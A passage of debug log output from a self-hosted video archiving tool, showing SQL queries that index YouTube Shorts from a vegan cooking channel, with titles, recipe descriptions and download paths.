s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:12.162 [debug] QUERY OK source="sources" db=0.4ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:12.164 [debug] QUERY OK source="media_items" db=2.2ms idle=3.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-20 23:46:13Z], 1] 20:30:12.165 [debug] QUERY OK source="media_items" db=0.8ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Homer and Bart Simpson couldn't be more wrong about salad. Whoever says you don’t make friends with salad obviously never tried one of mine 😏 Check out the Steamy Vegan Kitchen channel for several healthy, fun, and delicious salads that are so good they'll make Homer and Bart Simpson jealous! Doh! 🙄", "Homer and Bart Simpson are so wrong about salad #shorts", "8284daec-cdb4-4085-915c-57005463c867", 1, [], 19, false, "hwoU3w3Wlx4", "https://www.youtube.com/shorts/hwoU3w3Wlx4", 437, "/downloads/downloads/alec/Steamy Vegan/2022-05-20 Homer and Bart Simpson are so wrong about salad #shorts/Homer and Bart Simpson are so wrong about salad #shorts [hwoU3w3Wlx4].NA", false, false, true, 0, ~U[2022-05-20 23:46:13Z], ~U[2026-03-22 03:30:12Z], ~U[2026-03-22 03:30:12Z], "Homer and Bart Simpson couldn't be more wrong about salad. Whoever says you don’t make friends with salad obviously never tried one of mine 😏 Check out the Steamy Vegan Kitchen channel for several healthy, fun, and delicious salads that are so good they'll make Homer and Bart Simpson jealous! Doh! 🙄", "Homer and Bart Simpson are so wrong about salad #shorts", 1, 19, false, "hwoU3w3Wlx4", "https://www.youtube.com/shorts/hwoU3w3Wlx4", "/downloads/downloads/alec/Steamy Vegan/2022-05-20 Homer and Bart Simpson are so wrong about salad #shorts/Homer and Bart Simpson are so wrong about salad #shorts [hwoU3w3Wlx4].NA", true, ~U[2022-05-20 23:46:13Z]] 20:30:12.166 [debug] QUERY OK source="sources" db=0.7ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:12.168 [debug] QUERY OK source="media_profiles" db=1.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:12.169 [debug] QUERY OK source="media_items" db=0.8ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [826] 20:30:12.170 [debug] Current batch of media processed. Will check again in 1000ms 20:30:13.171 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "The perfect vegan and GF chocolate cream pie dessert for cheat days. It's made from avocado and the crust uses pecans which makes this chocolate cream pie much healthier then you're used to.\n\nFull recipe video here: https://youtu.be/8GSEsZWhkhs\n\nDon't foget to subscribe for more steamy, easy, and lemon-squeezy recipes!", "duration" => 36, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-20 Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts/Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts [FKGdn66b-As].NA", "id" => "FKGdn66b-As", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/FKGdn66b-As", "playlist_index" => 438, "timestamp" => 1653073205, "title" => "Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts", "upload_date" => "20220520"} 20:30:13.172 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1006.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:13.173 [debug] QUERY OK source="sources" db=0.3ms idle=1006.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:13.176 [debug] QUERY OK source="media_items" db=2.5ms idle=1005.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-20 19:00:05Z], 1] 20:30:13.177 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The perfect vegan and GF chocolate cream pie dessert for cheat days. It's made from avocado and the crust uses pecans which makes this chocolate cream pie much healthier then you're used to.\n\nFull recipe video here: https://youtu.be/8GSEsZWhkhs\n\nDon't foget to subscribe for more steamy, easy, and lemon-squeezy recipes!", "Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts", "6660de34-0308-428f-87c9-aa0f48c2dba7", 1, [], 36, false, "FKGdn66b-As", "https://www.youtube.com/shorts/FKGdn66b-As", 438, "/downloads/downloads/alec/Steamy Vegan/2022-05-20 Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts/Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts [FKGdn66b-As].NA", false, false, true, 1, ~U[2022-05-20 19:00:05Z], ~U[2026-03-22 03:30:13Z], ~U[2026-03-22 03:30:13Z], "The perfect vegan and GF chocolate cream pie dessert for cheat days. It's made from avocado and the crust uses pecans which makes this chocolate cream pie much healthier then you're used to.\n\nFull recipe video here: https://youtu.be/8GSEsZWhkhs\n\nDon't foget to subscribe for more steamy, easy, and lemon-squeezy recipes!", "Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts", 1, 36, false, "FKGdn66b-As", "https://www.youtube.com/shorts/FKGdn66b-As", "/downloads/downloads/alec/Steamy Vegan/2022-05-20 Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts/Guilt-Free Healthy Chocolate Cream Pie made Vegan and Gluten Free #shorts [FKGdn66b-As].NA", true, ~U[2022-05-20 19:00:05Z]] 20:30:13.178 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=538.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:13.178 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:13.179 [debug] QUERY OK source="media_items" db=0.3ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [827] 20:30:13.179 [debug] Current batch of media processed. Will check again in 1000ms 20:30:14.180 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Cardamom Grapefruit Pink Juice 💗🌱 feat. rescued grapefruits from @pekoproduce! \n\nI’ve LOVED getting grapefruits in my last few Peko boxes - and making this juice was a fun little experiment! (Which happened to turn out pretty great - just sayin’ 😉) High in antioxidants like vitamin A packed with fibre, Grapefruits are a nutritional powerhouse! \n\nSAVE THIS RECIPE! ✔️ \nThe flesh of 2 grapefruits (pulp included)\n1.5 cups filtered water \n2 tbsp maple syrup (extra if you like it sweeter)\n1/4 tsp cardamom\nPinch of sea salt \n\nCombine all ingredients in a high-speed blender and blend on high for 30 seconds until smooth. Pour juice into two glasses and enjoy!! (Strain through a mesh sieve if you don’t want pulp). 😉", "duration" => 21, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-20 CARDAMOM GRAPEFRUIT PINK JUICE 🧃/CARDAMOM GRAPEFRUIT PINK JUICE 🧃 [rqneq1-O2-M].NA", "id" => "rqneq1-O2-M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/rqneq1-O2-M", "playlist_index" => 439, "timestamp" => 1653058836, "title" => "CARDAMOM GRAPEFRUIT PINK JUICE 🧃", "upload_date" => "20220520"} 20:30:14.181 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:14.182 [debug] QUERY OK source="sources" db=0.3ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:14.185 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-20 15:00:36Z], 1] 20:30:14.186 [debug] QUERY OK source="media_items" db=1.4ms idle=1005.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Cardamom Grapefruit Pink Juice 💗🌱 feat. rescued grapefruits from @pekoproduce! \n\nI’ve LOVED getting grapefruits in my last few Peko boxes - and making this juice was a fun little experiment! (Which happened to turn out pretty great - just sayin’ 😉) High in antioxidants like vitamin A packed with fibre, Grapefruits are a nutritional powerhouse! \n\nSAVE THIS RECIPE! ✔️ \nThe flesh of 2 grapefruits (pulp included)\n1.5 cups filtered water \n2 tbsp maple syrup (extra if you like it sweeter)\n1/4 tsp cardamom\nPinch of sea salt \n\nCombine all ingredients in a high-speed blender and blend on high for 30 seconds until smooth. Pour juice into two glasses and enjoy!! (Strain through a mesh sieve if you don’t want pulp). 😉", "CARDAMOM GRAPEFRUIT PINK JUICE 🧃", "0aa2110e-9381-47e1-90e0-e56db4ae66bf", 1, [], 21, false, "rqneq1-O2-M", "https://www.youtube.com/shorts/rqneq1-O2-M", 439, "/downloads/downloads/alec/Steamy Vegan/2022-05-20 CARDAMOM GRAPEFRUIT PINK JUICE 🧃/CARDAMOM GRAPEFRUIT PINK JUICE 🧃 [rqneq1-O2-M].NA", false, false, true, 2, ~U[2022-05-20 15:00:36Z], ~U[2026-03-22 03:30:14Z], ~U[2026-03-22 03:30:14Z], "Cardamom Grapefruit Pink Juice 💗🌱 feat. rescued grapefruits from @pekoproduce! \n\nI’ve LOVED getting grapefruits in my last few Peko boxes - and making this juice was a fun little experiment! (Which happened to turn out pretty great - just sayin’ 😉) High in antioxidants like vitamin A packed with fibre, Grapefruits are a nutritional powerhouse! \n\nSAVE THIS RECIPE! ✔️ \nThe flesh of 2 grapefruits (pulp included)\n1.5 cups filtered water \n2 tbsp maple syrup (extra if you like it sweeter)\n1/4 tsp cardamom\nPinch of sea salt \n\nCombine all ingredients in a high-speed blender and blend on high for 30 seconds until smooth. Pour juice into two glasses and enjoy!! (Strain through a mesh sieve if you don’t want pulp). 😉", "CARDAMOM GRAPEFRUIT PINK JUICE 🧃", 1, 21, false, "rqneq1-O2-M", "https://www.youtube.com/shorts/rqneq1-O2-M", "/downloads/downloads/alec/Steamy Vegan/2022-05-20 CARDAMOM GRAPEFRUIT PINK JUICE 🧃/CARDAMOM GRAPEFRUIT PINK JUICE 🧃 [rqneq1-O2-M].NA", true, ~U[2022-05-20 15:00:36Z]] 20:30:14.187 [debug] QUERY OK source="sources" db=0.3ms idle=545.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:14.187 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:14.188 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [828] 20:30:14.188 [debug] Current batch of media processed. Will check again in 1000ms 20:30:15.189 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Brought to you by rescued bananas 🍌 from @pekoproduce! These Banana Blender Pancakes are the ONLY pancakes I ever make anymore! They're vegan, gluten-free, fluffy and DELICIOUS.\n\nI often get bananas in my #PekoProduce mystery boxes which I LOVE. 😍 If I happen to have an over abundance or some of them arrive a bit bruised (tis the name of the game when you’re working with surplus/peculiar produce!) I like making a batch of banana blender pancakes! Any bruised parts are totally fine to use when you’re just blending it all up anyway 😊 FULL RECIPE ON THE BLOG: https://steamyvegankitchen.com/8-ingredient-banana-blender-pancakes/\n\nSAVE THIS RECIPE FOR LATER! ✅ & watch full recipe video here: https://youtu.be/Ku7a74eh3a8\n\n1 overripe banana\n1 cup GF rolled oats \n3/4 cup non-dairy milk (unsweetened)\n1 tsp cinnamon \n1/4 tsp salt \n1/2 tbsp baking powder \n1 tbsp ACV\n1 tbsp maple syrup \n\nBlend all ingredients in a blender on HIGH speed for 30-45 seconds, until smooth - heat vegan butter in a frying pan - pour 1/3 cup per pancake - cook on both sides for 3-4 minutes until golden on the edges. Serve with your favourite toppings and ENJOY!! 🤤\n\n#steamyvegankitchen #steamyvegan #veganpancakes #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F", "duration" => 52, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-20 BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts/BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts [77_m-FKvGUs].NA", "id" => "77_m-FKvGUs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/77_m-FKvGUs", "playlist_index" => 440, "timestamp" => 1653004802, "title" => "BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts", "upload_date" => "20220520"} 20:30:15.190 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:15.191 [debug] QUERY OK source="sources" db=0.6ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:15.194 [debug] QUERY OK source="media_items" db=2.6ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-20 00:00:02Z], 1] 20:30:15.196 [debug] QUERY OK source="media_items" db=1.2ms idle=1006.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Brought to you by rescued bananas 🍌 from @pekoproduce! These Banana Blender Pancakes are the ONLY pancakes I ever make anymore! They're vegan, gluten-free, fluffy and DELICIOUS.\n\nI often get bananas in my #PekoProduce mystery boxes which I LOVE. 😍 If I happen to have an over abundance or some of them arrive a bit bruised (tis the name of the game when you’re working with surplus/peculiar produce!) I like making a batch of banana blender pancakes! Any bruised parts are totally fine to use when you’re just blending it all up anyway 😊 FULL RECIPE ON THE BLOG: https://steamyvegankitchen.com/8-ingredient-banana-blender-pancakes/\n\nSAVE THIS RECIPE FOR LATER! ✅ & watch full recipe video here: https://youtu.be/Ku7a74eh3a8\n\n1 overripe banana\n1 cup GF rolled oats \n3/4 cup non-dairy milk (unsweetened)\n1 tsp cinnamon \n1/4 tsp salt \n1/2 tbsp baking powder \n1 tbsp ACV\n1 tbsp maple syrup \n\nBlend all ingredients in a blender on HIGH speed for 30-45 seconds, until smooth - heat vegan butter in a frying pan - pour 1/3 cup per pancake - cook on both sides for 3-4 minutes until golden on the edges. Serve with your favourite toppings and ENJOY!! 🤤\n\n#steamyvegankitchen #steamyvegan #veganpancakes #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F", "BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts", "7b6bbb66-453a-4387-84af-a99db0092722", 1, [], 52, false, "77_m-FKvGUs", "https://www.youtube.com/shorts/77_m-FKvGUs", 440, "/downloads/downloads/alec/Steamy Vegan/2022-05-20 BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts/BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts [77_m-FKvGUs].NA", false, false, true, 3, ~U[2022-05-20 00:00:02Z], ~U[2026-03-22 03:30:15Z], ~U[2026-03-22 03:30:15Z], "Brought to you by rescued bananas 🍌 from @pekoproduce! These Banana Blender Pancakes are the ONLY pancakes I ever make anymore! They're vegan, gluten-free, fluffy and DELICIOUS.\n\nI often get bananas in my #PekoProduce mystery boxes which I LOVE. 😍 If I happen to have an over abundance or some of them arrive a bit bruised (tis the name of the game when you’re working with surplus/peculiar produce!) I like making a batch of banana blender pancakes! Any bruised parts are totally fine to use when you’re just blending it all up anyway 😊 FULL RECIPE ON THE BLOG: https://steamyvegankitchen.com/8-ingredient-banana-blender-pancakes/\n\nSAVE THIS RECIPE FOR LATER! ✅ & watch full recipe video here: https://youtu.be/Ku7a74eh3a8\n\n1 overripe banana\n1 cup GF rolled oats \n3/4 cup non-dairy milk (unsweetened)\n1 tsp cinnamon \n1/4 tsp salt \n1/2 tbsp baking powder \n1 tbsp ACV\n1 tbsp maple syrup \n\nBlend all ingredients in a blender on HIGH speed for 30-45 seconds, until smooth - heat vegan butter in a frying pan - pour 1/3 cup per pancake - cook on both sides for 3-4 minutes until golden on the edges. Serve with your favourite toppings and ENJOY!! 🤤\n\n#steamyvegankitchen #steamyvegan #veganpancakes 